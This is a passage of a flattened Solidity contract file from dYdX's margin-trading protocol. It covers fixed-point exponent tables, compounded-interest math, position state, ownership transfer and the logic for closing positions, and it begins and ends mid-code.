340282365653287865596328444437856608255, 340282366287113163939555716675618384724, 340282366604025813553891209601455838559, 340282366762482138471739420386372790954, 340282366841710300958333641874363209044 ][x]; return Fraction.Fraction128({ num: MAX_NUMERATOR, den: denominator }); } /** * Returns a fraction roughly equaling E^(x) for integer x */ function getPrecomputedEToThe( uint256 x ) internal pure returns (Fraction.Fraction128 memory) { assert(x <= NUM_PRECOMPUTED_INTEGERS); uint128 denominator = [ 340282366920938463463374607431768211455, 125182886983370532117250726298150828301, 46052210507670172419625860892627118820, 16941661466271327126146327822211253888, 6232488952727653950957829210887653621, 2292804553036637136093891217529878878, 843475657686456657683449904934172134, 310297353591408453462393329342695980, 114152017036184782947077973323212575, 41994180235864621538772677139808695, 15448795557622704876497742989562086, 5683294276510101335127414470015662, 2090767122455392675095471286328463, 769150240628514374138961856925097, 282954560699298259527814398449860, 104093165666968799599694528310221, 38293735615330848145349245349513, 14087478058534870382224480725096, 5182493555688763339001418388912, 1906532833141383353974257736699, 701374233231058797338605168652, 258021160973090761055471434334, 94920680509187392077350434438, 34919366901332874995585576427, 12846117181722897538509298435, 4725822410035083116489797150, 1738532907279185132707372378, 639570514388029575350057932, 235284843422800231081973821, 86556456714490055457751527, 31842340925906738090071268, 11714142585413118080082437, 4309392228124372433711936 ][x]; return Fraction.Fraction128({ num: MAX_NUMERATOR, den: denominator }); } // ============ Private Helper-Functions ============ function ONE() private pure returns (Fraction.Fraction128 memory) { return Fraction.Fraction128({ num: 1, den: 1 }); } } // File: contracts/lib/MathHelpers.sol /** * @title MathHelpers * @author dYdX * * This library helps with common math functions in Solidity */ library MathHelpers { using SafeMath for uint256; /** * Calculates partial value given a numerator and denominator. * * @param numerator Numerator * @param denominator Denominator * @param target Value to calculate partial of * @return target * numerator / denominator */ function getPartialAmount( uint256 numerator, uint256 denominator, uint256 target ) internal pure returns (uint256) { return numerator.mul(target).div(denominator); } /** * Calculates partial value given a numerator and denominator, rounded up. * * @param numerator Numerator * @param denominator Denominator * @param target Value to calculate partial of * @return Rounded-up result of target * numerator / denominator */ function getPartialAmountRoundedUp( uint256 numerator, uint256 denominator, uint256 target ) internal pure returns (uint256) { return divisionRoundedUp(numerator.mul(target), denominator); } /** * Calculates division given a numerator and denominator, rounded up. * * @param numerator Numerator. * @param denominator Denominator. * @return Rounded-up result of numerator / denominator */ function divisionRoundedUp( uint256 numerator, uint256 denominator ) internal pure returns (uint256) { assert(denominator != 0); // coverage-enable-line if (numerator == 0) { return 0; } return numerator.sub(1).div(denominator).add(1); } /** * Calculates and returns the maximum value for a uint256 in solidity * * @return The maximum value for uint256 */ function maxUint256( ) internal pure returns (uint256) { return 2 ** 256 - 1; } /** * Calculates and returns the maximum value for a uint256 in solidity * * @return The maximum value for uint256 */ function maxUint32( ) internal pure returns (uint32) { return 2 ** 32 - 1; } /** * Returns the number of bits in a uint256. That is, the lowest number, x, such that n >> x == 0 * * @param n The uint256 to get the number of bits in * @return The number of bits in n */ function getNumBits( uint256 n ) internal pure returns (uint256) { uint256 first = 0; uint256 last = 256; while (first < last) { uint256 check = (first + last) / 2; if ((n >> check) == 0) { last = check; } else { first = check + 1; } } assert(first <= 256); return first; } } // File: contracts/margin/impl/InterestImpl.sol /** * @title InterestImpl * @author dYdX * * A library that calculates continuously compounded interest for principal, time period, and * interest rate. */ library InterestImpl { using SafeMath for uint256; using FractionMath for Fraction.Fraction128; // ============ Constants ============ uint256 constant DEFAULT_PRECOMPUTE_PRECISION = 11; uint256 constant DEFAULT_MACLAURIN_PRECISION = 5; uint256 constant MAXIMUM_EXPONENT = 80; uint128 constant E_TO_MAXIUMUM_EXPONENT = 55406223843935100525711733958316613; // ============ Public Implementation Functions ============ /** * Returns total tokens owed after accruing interest. Continuously compounding and accurate to * roughly 10^18 decimal places. Continuously compounding interest follows the formula: * I = P * e^(R*T) * * @param principal Principal of the interest calculation * @param interestRate Annual nominal interest percentage times 10**6. * (example: 5% = 5e6) * @param secondsOfInterest Number of seconds that interest has been accruing * @return Total amount of tokens owed. Greater than tokenAmount. */ function getCompoundedInterest( uint256 principal, uint256 interestRate, uint256 secondsOfInterest ) public pure returns (uint256) { uint256 numerator = interestRate.mul(secondsOfInterest); uint128 denominator = (10**8) * (365 * 1 days); // interestRate and secondsOfInterest should both be uint32 assert(numerator < 2**128); // fraction representing (Rate * Time) Fraction.Fraction128 memory rt = Fraction.Fraction128({ num: uint128(numerator), den: denominator }); // calculate e^(RT) Fraction.Fraction128 memory eToRT; if (numerator.div(denominator) >= MAXIMUM_EXPONENT) { // degenerate case: cap calculation eToRT = Fraction.Fraction128({ num: E_TO_MAXIUMUM_EXPONENT, den: 1 }); } else { // normal case: calculate e^(RT) eToRT = Exponent.exp( rt, DEFAULT_PRECOMPUTE_PRECISION, DEFAULT_MACLAURIN_PRECISION ); } // e^X for positive X should be greater-than or equal to 1 assert(eToRT.num >= eToRT.den); return safeMultiplyUint256ByFraction(principal, eToRT); } // ============ Private Helper-Functions ============ /** * Returns n * f, trying to prevent overflow as much as possible. Assumes that the numerator * and denominator of f are less than 2**128. */ function safeMultiplyUint256ByFraction( uint256 n, Fraction.Fraction128 memory f ) private pure returns (uint256) { uint256 term1 = n.div(2 ** 128); // first 128 bits uint256 term2 = n % (2 ** 128); // second 128 bits // uncommon scenario, requires n >= 2**128. calculates term1 = term1 * f if (term1 > 0) { term1 = term1.mul(f.num); uint256 numBits = MathHelpers.getNumBits(term1); // reduce rounding error by shifting all the way to the left before dividing term1 = MathHelpers.divisionRoundedUp( term1 << (uint256(256).sub(numBits)), f.den); // continue shifting or reduce shifting to get the right number if (numBits > 128) { term1 = term1 << (numBits.sub(128)); } else if (numBits < 128) { term1 = term1 >> (uint256(128).sub(numBits)); } } // calculates term2 = term2 * f term2 = MathHelpers.getPartialAmountRoundedUp( f.num, f.den, term2 ); return term1.add(term2); } } // File: contracts/margin/impl/MarginState.sol /** * @title MarginState * @author dYdX * * Contains state for the Margin contract. Also used by libraries that implement Margin functions. */ library MarginState { struct State { // Address of the Vault contract address VAULT; // Address of the TokenProxy contract address TOKEN_PROXY; // Mapping from loanHash -> amount, which stores the amount of a loan which has // already been filled. mapping (bytes32 => uint256) loanFills; // Mapping from loanHash -> amount, which stores the amount of a loan which has // already been canceled. mapping (bytes32 => uint256) loanCancels; // Mapping from positionId -> Position, which stores all the open margin positions. mapping (bytes32 => MarginCommon.Position) positions; // Mapping from positionId -> bool, which stores whether the position has previously been // open, but is now closed. mapping (bytes32 => bool) closedPositions; // Mapping from positionId -> uint256, which stores the total amount of owedToken that has // ever been repaid to the lender for each position. Does not reset. mapping (bytes32 => uint256) totalOwedTokenRepaidToLender; } } // File: contracts/margin/interfaces/lender/LoanOwner.sol /** * @title LoanOwner * @author dYdX * * Interface that smart contracts must implement in order to own loans on behalf of other accounts. * * NOTE: Any contract implementing this interface should also use OnlyMargin to control access * to these functions */ interface LoanOwner { // ============ Public Interface functions ============ /** * Function a contract must implement in order to receive ownership of a loan sell via the * transferLoan function or the atomic-assign to the "owner" field in a loan offering. * * @param from Address of the previous owner * @param positionId Unique ID of the position * @return This address to keep ownership, a different address to pass-on ownership */ function receiveLoanOwnership( address from, bytes32 positionId ) external /* onlyMargin */ returns (address); } // File: contracts/margin/interfaces/owner/PositionOwner.sol /** * @title PositionOwner * @author dYdX * * Interface that smart contracts must implement in order to own position on behalf of other * accounts * * NOTE: Any contract implementing this interface should also use OnlyMargin to control access * to these functions */ interface PositionOwner { // ============ Public Interface functions ============ /** * Function a contract must implement in order to receive ownership of a position via the * transferPosition function or the atomic-assign to the "owner" field when opening a position. * * @param from Address of the previous owner * @param positionId Unique ID of the position * @return This address to keep ownership, a different address to pass-on ownership */ function receivePositionOwnership( address from, bytes32 positionId ) external /* onlyMargin */ returns (address); } // File: contracts/margin/impl/TransferInternal.sol /** * @title TransferInternal * @author dYdX * * This library contains the implementation for transferring ownership of loans and positions. */ library TransferInternal { // ============ Events ============ /** * Ownership of a loan was transferred to a new address */ event LoanTransferred( bytes32 indexed positionId, address indexed from, address indexed to ); /** * Ownership of a postion was transferred to a new address */ event PositionTransferred( bytes32 indexed positionId, address indexed from, address indexed to ); // ============ Internal Implementation Functions ============ /** * Returns either the address of the new loan owner, or the address to which they wish to * pass ownership of the loan. This function does not actually set the state of the position * * @param positionId The Unique ID of the position * @param oldOwner The previous owner of the loan * @param newOwner The intended owner of the loan * @return The address that the intended owner wishes to assign the loan to (may be * the same as the intended owner). */ function grantLoanOwnership( bytes32 positionId, address oldOwner, address newOwner ) internal returns (address) { // log event except upon position creation if (oldOwner != address(0)) { emit LoanTransferred(positionId, oldOwner, newOwner); } if (AddressUtils.isContract(newOwner)) { address nextOwner = LoanOwner(newOwner).receiveLoanOwnership(oldOwner, positionId); if (nextOwner != newOwner) { return grantLoanOwnership(positionId, newOwner, nextOwner); } } require( newOwner != address(0), "TransferInternal#grantLoanOwnership: New owner did not consent to owning loan" ); return newOwner; } /** * Returns either the address of the new position owner, or the address to which they wish to * pass ownership of the position. This function does not actually set the state of the position * * @param positionId The Unique ID of the position * @param oldOwner The previous owner of the position * @param newOwner The intended owner of the position * @return The address that the intended owner wishes to assign the position to (may * be the same as the intended owner). */ function grantPositionOwnership( bytes32 positionId, address oldOwner, address newOwner ) internal returns (address) { // log event except upon position creation if (oldOwner != address(0)) { emit PositionTransferred(positionId, oldOwner, newOwner); } if (AddressUtils.isContract(newOwner)) { address nextOwner = PositionOwner(newOwner).receivePositionOwnership(oldOwner, positionId); if (nextOwner != newOwner) { return grantPositionOwnership(positionId, newOwner, nextOwner); } } require( newOwner != address(0), "TransferInternal#grantPositionOwnership: New owner did not consent to owning position" ); return newOwner; } } // File: contracts/lib/TimestampHelper.sol /** * @title TimestampHelper * @author dYdX * * Helper to get block timestamps in other formats */ library TimestampHelper { function getBlockTimestamp32() internal view returns (uint32) { // Should not still be in-use in the year 2106 assert(uint256(uint32(block.timestamp)) == block.timestamp); assert(block.timestamp > 0); return uint32(block.timestamp); } } // File: contracts/margin/impl/MarginCommon.sol /** * @title MarginCommon * @author dYdX * * This library contains common functions for implementations of public facing Margin functions */ library MarginCommon { using SafeMath for uint256; // ============ Structs ============ struct Position { address owedToken; // Immutable address heldToken; // Immutable address lender; address owner; uint256 principal; uint256 requiredDeposit; uint32 callTimeLimit; // Immutable uint32 startTimestamp; // Immutable, cannot be 0 uint32 callTimestamp; uint32 maxDuration; // Immutable uint32 interestRate; // Immutable uint32 interestPeriod; // Immutable } struct LoanOffering { address owedToken; address heldToken; address payer; address owner; address taker; address positionOwner; address feeRecipient; address lenderFeeToken; address takerFeeToken; LoanRates rates; uint256 expirationTimestamp; uint32 callTimeLimit; uint32 maxDuration; uint256 salt; bytes32 loanHash; bytes signature; } struct LoanRates { uint256 maxAmount; uint256 minAmount; uint256 minHeldToken; uint256 lenderFee; uint256 takerFee; uint32 interestRate; uint32 interestPeriod; } // ============ Internal Implementation Functions ============ function storeNewPosition( MarginState.State storage state, bytes32 positionId, Position memory position, address loanPayer ) internal { assert(!positionHasExisted(state, positionId)); assert(position.owedToken != address(0)); assert(position.heldToken != address(0)); assert(position.owedToken != position.heldToken); assert(position.owner != address(0)); assert(position.lender != address(0)); assert(position.maxDuration != 0); assert(position.interestPeriod <= position.maxDuration); assert(position.callTimestamp == 0); assert(position.requiredDeposit == 0); state.positions[positionId].owedToken = position.owedToken; state.positions[positionId].heldToken = position.heldToken; state.positions[positionId].principal = position.principal; state.positions[positionId].callTimeLimit = position.callTimeLimit; state.positions[positionId].startTimestamp = TimestampHelper.getBlockTimestamp32(); state.positions[positionId].maxDuration = position.maxDuration; state.positions[positionId].interestRate = position.interestRate; state.positions[positionId].interestPeriod = position.interestPeriod; state.positions[positionId].owner = TransferInternal.grantPositionOwnership( positionId, (position.owner != msg.sender) ? msg.sender : address(0), position.owner ); state.positions[positionId].lender = TransferInternal.grantLoanOwnership( positionId, (position.lender != loanPayer) ? loanPayer : address(0), position.lender ); } function getPositionIdFromNonce( uint256 nonce ) internal view returns (bytes32) { return keccak256(abi.encodePacked(msg.sender, nonce)); } function getUnavailableLoanOfferingAmountImpl( MarginState.State storage state, bytes32 loanHash ) internal view returns (uint256) { return state.loanFills[loanHash].add(state.loanCancels[loanHash]); } function cleanupPosition( MarginState.State storage state, bytes32 positionId ) internal { delete state.positions[positionId]; state.closedPositions[positionId] = true; } function calculateOwedAmount( Position storage position, uint256 closeAmount, uint256 endTimestamp ) internal view returns (uint256) { uint256 timeElapsed = calculateEffectiveTimeElapsed(position, endTimestamp); return InterestImpl.getCompoundedInterest( closeAmount, position.interestRate, timeElapsed ); } /** * Calculates time elapsed rounded up to the nearest interestPeriod */ function calculateEffectiveTimeElapsed( Position storage position, uint256 timestamp ) internal view returns (uint256) { uint256 elapsed = timestamp.sub(position.startTimestamp); // round up to interestPeriod uint256 period = position.interestPeriod; if (period > 1) { elapsed = MathHelpers.divisionRoundedUp(elapsed, period).mul(period); } // bound by maxDuration return Math.min256( elapsed, position.maxDuration ); } function calculateLenderAmountForIncreasePosition( Position storage position, uint256 principalToAdd, uint256 endTimestamp ) internal view returns (uint256) { uint256 timeElapsed = calculateEffectiveTimeElapsedForNewLender(position, endTimestamp); return InterestImpl.getCompoundedInterest( principalToAdd, position.interestRate, timeElapsed ); } function getLoanOfferingHash( LoanOffering loanOffering ) internal view returns (bytes32) { return keccak256( abi.encodePacked( address(this), loanOffering.owedToken, loanOffering.heldToken, loanOffering.payer, loanOffering.owner, loanOffering.taker, loanOffering.positionOwner, loanOffering.feeRecipient, loanOffering.lenderFeeToken, loanOffering.takerFeeToken, getValuesHash(loanOffering) ) ); } function getPositionBalanceImpl( MarginState.State storage state, bytes32 positionId ) internal view returns(uint256) { return Vault(state.VAULT).balances(positionId, state.positions[positionId].heldToken); } function containsPositionImpl( MarginState.State storage state, bytes32 positionId ) internal view returns (bool) { return state.positions[positionId].startTimestamp != 0; } function positionHasExisted( MarginState.State storage state, bytes32 positionId ) internal view returns (bool) { return containsPositionImpl(state, positionId) || state.closedPositions[positionId]; } function getPositionFromStorage( MarginState.State storage state, bytes32 positionId ) internal view returns (Position storage) { Position storage position = state.positions[positionId]; require( position.startTimestamp != 0, "MarginCommon#getPositionFromStorage: The position does not exist" ); return position; } // ============ Private Helper-Functions ============ /** * Calculates time elapsed rounded down to the nearest interestPeriod */ function calculateEffectiveTimeElapsedForNewLender( Position storage position, uint256 timestamp ) private view returns (uint256) { uint256 elapsed = timestamp.sub(position.startTimestamp); // round down to interestPeriod uint256 period = position.interestPeriod; if (period > 1) { elapsed = elapsed.div(period).mul(period); } // bound by maxDuration return Math.min256( elapsed, position.maxDuration ); } function getValuesHash( LoanOffering loanOffering ) private pure returns (bytes32) { return keccak256( abi.encodePacked( loanOffering.rates.maxAmount, loanOffering.rates.minAmount, loanOffering.rates.minHeldToken, loanOffering.rates.lenderFee, loanOffering.rates.takerFee, loanOffering.expirationTimestamp, loanOffering.salt, loanOffering.callTimeLimit, loanOffering.maxDuration, loanOffering.rates.interestRate, loanOffering.rates.interestPeriod ) ); } } // File: contracts/margin/interfaces/PayoutRecipient.sol /** * @title PayoutRecipient * @author dYdX * * Interface that smart contracts must implement in order to be the payoutRecipient in a * closePosition transaction. * * NOTE: Any contract implementing this interface should also use OnlyMargin to control access * to these functions */ interface PayoutRecipient { // ============ Public Interface functions ============ /** * Function a contract must implement in order to receive payout from being the payoutRecipient * in a closePosition transaction. May redistribute any payout as necessary. Throws on error. * * @param positionId Unique ID of the position * @param closeAmount Amount of the position that was closed * @param closer Address of the account or contract that closed the position * @param positionOwner Address of the owner of the position * @param heldToken Address of the ERC20 heldToken * @param payout Number of tokens received from the payout * @param totalHeldToken Total amount of heldToken removed from vault during close * @param payoutInHeldToken True if payout is in heldToken, false if in owedToken * @return True if approved by the receiver */ function receiveClosePositionPayout( bytes32 positionId, uint256 closeAmount, address closer, address positionOwner, address heldToken, uint256 payout, uint256 totalHeldToken, bool payoutInHeldToken ) external /* onlyMargin */ returns (bool); } // File: contracts/margin/interfaces/lender/CloseLoanDelegator.sol /** * @title CloseLoanDelegator * @author dYdX * * Interface that smart contracts must implement in order to let other addresses close a loan * owned by the smart contract. * * NOTE: Any contract implementing this interface should also use OnlyMargin to control access * to these functions */ interface CloseLoanDelegator { // ============ Public Interface functions ============ /** * Function a contract must implement in order to let other addresses call * closeWithoutCounterparty(). * * NOTE: If not returning zero (or not reverting), this contract must assume that Margin will * either revert the entire transaction or that (at most) the specified amount of the loan was * successfully closed. * * @param closer Address of the caller of closeWithoutCounterparty() * @param payoutRecipient Address of the recipient of tokens paid out from closing * @param positionId Unique ID of the position * @param requestedAmount Requested principal amount of the loan to close * @return 1) This address to accept, a different address to ask that contract * 2) The maximum amount that this contract is allowing */ function closeLoanOnBehalfOf( address closer, address payoutRecipient, bytes32 positionId, uint256 requestedAmount ) external /* onlyMargin */ returns (address, uint256); } // File: contracts/margin/interfaces/owner/ClosePositionDelegator.sol /** * @title ClosePositionDelegator * @author dYdX * * Interface that smart contracts must implement in order to let other addresses close a position * owned by the smart contract, allowing more complex logic to control positions. * * NOTE: Any contract implementing this interface should also use OnlyMargin to control access * to these functions */ interface ClosePositionDelegator { // ============ Public Interface functions ============ /** * Function a contract must implement in order to let other addresses call closePosition(). * * NOTE: If not returning zero (or not reverting), this contract must assume that Margin will * either revert the entire transaction or that (at-most) the specified amount of the position * was successfully closed. * * @param closer Address of the caller of the closePosition() function * @param payoutRecipient Address of the recipient of tokens paid out from closing * @param positionId Unique ID of the position * @param requestedAmount Requested principal amount of the position to close * @return 1) This address to accept, a different address to ask that contract * 2) The maximum amount that this contract is allowing */ function closeOnBehalfOf( address closer, address payoutRecipient, bytes32 positionId, uint256 requestedAmount ) external /* onlyMargin */ returns (address, uint256); } // File: contracts/margin/impl/ClosePositionShared.sol /** * @title ClosePositionShared * @author dYdX * * This library contains shared functionality between ClosePositionImpl and * CloseWithoutCounterpartyImpl */ library ClosePositionShared { using SafeMath for uint256; // ============ Structs ============ struct CloseTx { bytes32 positionId; uint256 originalPrincipal; uint256 closeAmount; uint256 owedTokenOwed; uint256 startingHeldTokenBalance; uint256 availableHeldToken; address payoutRecipient; address owedToken; address heldToken; address positionOwner; address positionLender; address exchangeWrapper; bool payoutInHeldToken; } // ============ Internal Implementation Functions ============ function closePositionStateUpdate( MarginState.State storage state, CloseTx memory transaction ) internal { // Delete the position, or just decrease the principal if (transaction.closeAmount == transaction.originalPrincipal) { MarginCommon.cleanupPosition(state, transaction.positionId); } else { assert( transaction.originalPrincipal == state.positions[transaction.positionId].principal ); state.positions[transaction.positionId].principal = transaction.originalPrincipal.sub(transaction.closeAmount); } } function sendTokensToPayoutRecipient( MarginState.State storage state, ClosePositionShared.CloseTx memory transaction, uint256 buybackCostInHeldToken, uint256 receivedOwedToken ) internal returns (uint256) { uint256 payout; if (transaction.payoutInHeldToken) { // Send remaining heldToken to payoutRecipient payout = transaction.availableHeldToken.sub(buybackCostInHeldToken); Vault(state.VAULT).transferFromVault( transaction.positionId, transaction.heldToken, transaction.payoutRecipient, payout ); } else { assert(transaction.exchangeWrapper != address(0)); payout = receivedOwedToken.sub(transaction.owedTokenOwed); TokenProxy(state.TOKEN_PROXY).transferTokens( transaction.owedToken, transaction.exchangeWrapper, transaction.payoutRecipient, payout ); } if (AddressUtils.isContract(transaction.payoutRecipient)) { require( PayoutRecipient(transaction.payoutRecipient).receiveClosePositionPayout( transaction.positionId, transaction.closeAmount, msg.sender, transaction.positionOwner, transaction.heldToken, payout, transaction.availableHeldToken, transaction.payoutInHeldToken ), "ClosePositionShared#sendTokensToPayoutRecipient: Payout recipient does not consent" ); } // The ending heldToken balance of the vault should be the starting heldToken balance // minus the available heldToken amount assert( MarginCommon.getPositionBalanceImpl(state, transaction.positionId) == transaction.startingHeldTokenBalance.sub(transaction.availableHeldToken) ); return payout; } function createCloseTx( MarginState.State storage state, bytes32 positionId, uint256 requestedAmount, address payoutRecipient, address exchangeWrapper, bool payoutInHeldToken, bool isWithoutCounterparty ) internal returns (CloseTx memory) { // Validate require( payoutRecipient != address(0), "ClosePositionShared#createCloseTx: Payout recipient cannot be 0" ); require( requestedAmount > 0, "ClosePositionShared#createCloseTx: Requested close amount cannot be 0" ); MarginCommon.Position storage position = MarginCommon.getPositionFromStorage(state, positionId); uint256 closeAmount = getApprovedAmount( position, positionId, requestedAmount, payoutRecipient, isWithoutCounterparty ); return parseCloseTx( state, position, positionId, closeAmount, payoutRecipient, exchangeWrapper, payoutInHeldToken, isWithoutCounterparty ); } // ============ Private Helper-Functions ============ function getApprovedAmount( MarginCommon.Position storage position, bytes32 positionId, uint256 requestedAmount, address payoutRecipient, bool requireLenderApproval ) private returns (uint256) { // Ensure enough principal uint256 allowedAmount = Math.min256(requestedAmount, position.principal); // Ensure owner consent allowedAmount = closePositionOnBehalfOfRecurse( position.owner, msg.sender, payoutRecipient, positionId, allowedAmount ); // Ensure lender consent if (requireLenderApproval) { allowedAmount = closeLoanOnBehalfOfRecurse( position.lender, msg.sender, payoutRecipient, positionId, allowedAmount ); } assert(allowedAmount > 0); assert(allowedAmount <= position.principal); assert(allowedAmount <= requestedAmount); return allowedAmount; } function closePositionOnBehalfOfRecurse( address contractAddr, address closer, address payoutRecipient, bytes32 positionId, uint256 closeAmount ) private returns (uint256) { // no need to ask for permission if (closer == contractAddr) { return closeAmount; } ( address newContractAddr, uint256 newCloseAmount ) = ClosePositionDelegator(contractAddr).closeOnBehalfOf( closer, payoutRecipient, positionId, closeAmount ); require( newCloseAmount <= closeAmount, "ClosePositionShared#closePositionRecurse: newCloseAmount is greater than closeAmount" ); require( newCloseAmount > 0, "ClosePositionShared#closePositionRecurse: newCloseAmount is zero" ); if (newContractAddr != contractAddr) { closePositionOnBehalfOfRecurse( newContractAddr, closer, payoutRecipient, positionId, newCloseAmount ); } return newCloseAmount; } function closeLoanOnBehalfOfRecurse( address contractAddr, address closer, address payoutRecipient, bytes32 positionId, uint256 closeAmount ) private returns (uint256) { // no need to ask for permission if (closer == contractAddr) { return closeAmount; } ( address newContractAddr, uint256 newCloseAmount ) = CloseLoanDelegator(contractAddr).closeLoanOnBehalfOf( closer, payoutRecipient, positionId, closeAmount ); require( newCloseAmount <= closeAmount, "ClosePositionShared#closeLoanRecurse: newCloseAmount is greater than closeAmount" ); require( newCloseAmount > 0, "ClosePositionShared#closeLoanRecurse: newCloseAmount is zero" ); if (newContractAddr != contractAddr) { closeLoanOnBehalfOfRecurse( newContractAddr, closer, payoutRecipient, positionId, newCloseAmount ); } return newCloseAmount; } // ============ Parsing Functions ============ function parseCloseTx( MarginState.State storage state, MarginCommon.Position storage position, bytes32 positionId, uint256 closeAmount, address payoutRecipient, address exchangeWrapper, bool payoutInHeldToken, bool isWithoutCounterparty ) private view returns (CloseTx memory) { uint256 startingHeldTokenBalance = MarginCommon.getPositionBalanceImpl(state, positionId); uint256 availableHeldToken = MathHelpers.getPartialAmount( closeAmount, position.principal, startingHeldTokenBalance ); uint256 owedTokenOwed = 0; if (!isWithoutCounterparty) { owedTokenOwed = MarginCommon.calculateOwedAmount( position, closeAmount, block.timestamp ); } return CloseTx({ positionId: positionId, originalPrincipal: position.principal, closeAmount: closeAmount, owedTokenOwed: owedTokenOwed, startingHeldTokenBalance: startingHeldTokenBalance, availableHeldToken: availableHeldToken, payoutRecipient: payoutRecipient, owedToken: position.owedToken, heldToken: position.heldToken, positionOwner: position.owner, positionLender: position.lender, exchangeWrapper: exchangeWrapper, payoutInHeldToken: payoutInHeldToken }); } } // File: contracts/margin/interfaces/ExchangeWrapper.sol /** * @title ExchangeWrapper * @author dYdX * * Contract interface that Exchange Wrapper smart contracts must implement in order to interface * with other smart contracts through a common interface. */ interface ExchangeWrapper { // ============ Public Functions ============ /** * Exchange some amount of takerToken for makerToken. * * @param tradeOriginator Address of the initiator of the trade (however, this value * cannot always be trusted as it is set at the discretion of the * msg.sender) * @param receiver Address to set allowance on once the trade has completed * @param makerToken Address of makerToken, the token to receive * @param takerToken Address of takerToken, the token to pay * @param requestedFillAmount Amount of takerToken being paid * @param orderData Arbitrary bytes data for any information to pass to the exchange * @return The amount of makerToken received */ function exchange( address tradeOriginator, address receiver, address makerToken, address takerToken, uint256 requestedFillAmount, bytes orderData ) external returns (uint256); /** * Get amount of takerToken required to buy a certain amount of makerToken for a given trade. * Should match the takerToken amount used in exchangeForAmount. If the order cannot provide * exactly desiredMakerToken, then it must return the price to buy the minimum amount greater * than desiredMakerToken * * @param makerToken Address of makerToken, the token to receive * @param takerToken Address of takerToken, the token to pay * @param desiredMakerToken Amount of makerToken requested * @param orderData Arbitrary bytes data for any information to pass to the exchange * @return Amount of takerToken the needed to complete the transaction */ function getExchangeCost( address makerToken, address takerToken, uint256 desiredMakerToken, bytes orderData ) external view returns (uint256); } // File: contracts/margin/impl/ClosePositionImpl.sol /** * @title ClosePositionImpl * @author dYdX * * This library contains the implementation for the closePosition function of Margin */ library ClosePositionImpl { using SafeMath for uint256; // ============ Events ============ /** * A position was closed or partially closed */ event PositionClosed( bytes32 indexed positionId, address indexed closer, address indexed payoutRecipient, uint256 closeAmount, uint256 remainingAmount, uint256 owedTokenPaidToLender, uint256 payoutAmount, uint256 buybackCostInHeldToken, bool payoutInHeldToken ); // ============ Public Implementation Functions ============ function closePositionImpl( MarginState.State storage state, bytes32 positionId, uint256 requestedCloseAmount, address payoutRecipient, address exchangeWrapper, bool payoutInHeldToken, bytes memory orderData ) public returns (uint256, uint256, uint256) { ClosePositionShared.CloseTx memory transaction = ClosePositionShared.createCloseTx( state, positionId, requestedCloseAmount, payoutRecipient, exchangeWrapper, payoutInHeldToken, false ); ( uint256 buybackCostInHeldToken, uint256 receivedOwedToken ) = returnOwedTokensToLender( state, transaction, orderData ); uint256 payout = ClosePositionShared.sendTokensToPayoutRecipient( state, transaction, buybackCostInHeldToken, receivedOwedToken ); ClosePositionShared.closePositionStateUpdate(state, transaction); logEventOnClose( transaction, buybackCostInHeldToken, payout ); return ( transaction.closeAmount, payout, transaction.owedTokenOwed ); } // ============ Private Helper-Functions ============ function returnOwedTokensToLender( MarginState.State storage state, ClosePositionShared.CloseTx memory transaction, bytes memory orderData ) private returns (uint256, uint256) { uint256 buybackCostInHeldToken = 0; uint256 receivedOwedToken = 0; uint256 lenderOwedToken = transaction.owedTokenOwed; // Setting exchangeWrapper to 0x000... indicates owedToken should be taken directly // from msg.sender if (transaction.exchangeWrapper == address(0)) { require( transaction.payoutInHeldToken, "ClosePositionImpl#returnOwedTokensToLender: Cannot payout in owedToken" ); // No DEX Order; send owedTokens directly from the closer to the lender TokenProxy(state.TOKEN_PROXY).transferTokens( transaction.owedToken, msg.sender, transaction.positionLender, lenderOwedToken ); } else { // Buy back owedTokens using DEX Order and send to lender (buybackCostInHeldToken, receivedOwedToken) = buyBackOwedToken( state, transaction, orderData ); // If no owedToken needed for payout: give lender all owedToken, even if more than owed if (transaction.payoutInHeldToken) { assert(receivedOwedToken >= lenderOwedToken); lenderOwedToken = receivedOwedToken; } // Transfer owedToken from the exchange wrapper to the lender TokenProxy(state.TOKEN_PROXY).transferTokens( transaction.owedToken, transaction.exchangeWrapper, transaction.positionLender, lenderOwedToken ); } state.totalOwedTokenRepaidToLender[transaction.positionId] = state.totalOwedTokenRepaidToLender[transaction.positionId].add(lenderOwedToken); return (buybackCostInHeldToken, receivedOwedToken); } function buyBackOwedToken( MarginState.State storage state, ClosePositionShared.CloseTx transaction, bytes memory orderData ) private returns (uint256, uint256) { // Ask the exchange wrapper the cost in heldToken to buy back the close // amount of owedToken uint256 buybackCostInHeldToken; if (transaction.payoutInHeldToken) { buybackCostInHeldToken = ExchangeWrapper(transaction.exchangeWrapper) .getExchangeCost( transaction.owedToken, transaction.heldToken, transaction.owedTokenOwed, orderData ); // Require enough available heldToken to pay for the buyback require( buybackCostInHeldToken <= transaction.availableHeldToken, "ClosePositionImpl#buyBackOwedToken: Not enough available heldToken" ); } else { buybackCostInHeldToken = transaction.availableHeldToken; } // Send the requisite heldToken to do the buyback from vault to exchange wrapper Vault(state.VAULT).transferFromVault( transaction.positionId, transaction.heldToken, transaction.exchangeWrapper, buybackCostInHeldToken ); // Trade the heldToken for the owedToken uint256 receivedOwedToken = ExchangeWrapper(transaction.exchangeWrapper).exchange( msg.sender, state.TOKEN_PROXY, transaction.owedToken, transaction.heldToken, buybackCostInHeldToken, orderData ); require( receivedOwedToken >= transaction.owedTokenOwed, "ClosePositionImpl#buyBackOwedToken: Did not receive enough owedToken" ); return (buybackCostInHeldToken, receivedOwedToken); } function logEventOnClose( ClosePositionShared.CloseTx transaction, uint256 buybackCostInHeldToken, uint256 payout ) private { emit PositionClosed( transaction.positionId, msg.sender, transaction.payoutRecipient, transaction.closeAmount, transaction.originalPrincipal.sub(transaction.closeAmount), transaction.owedTokenOwed, payout, buybackCostInHeldToken, transaction.payoutInHeldToken ); } } // File: contracts/margin/impl/CloseWithoutCounterpartyImpl.sol /** * @title CloseWithoutCounterpartyImpl * @author dYdX * * This library contains the implementation for the closeWithoutCounterpartyImpl function of * Margin */ library CloseWithoutCounterpartyImpl { using SafeMath for uint256; // ============ Events ============ /** * A position was closed or partially closed */ event PositionClosed( bytes32 indexed positionId, address indexed closer, address indexed payoutRecipient, uint256 closeAmount, uint256 remainingAmount, uint256 owedTokenPaidToLender, uint256 payoutAmount, uint256 buybackCostInHeldToken, bool payoutInHeldToken ); // ============ Public Implementation Functions ============ function closeWithoutCounterpartyImpl( MarginState.State storage state, bytes32 positionId, uint256 requestedCloseAmount, address payoutRecipient ) public returns (uint256, uint256) { ClosePositionShared.CloseTx memory transaction = ClosePositionShared.createCloseTx( state, 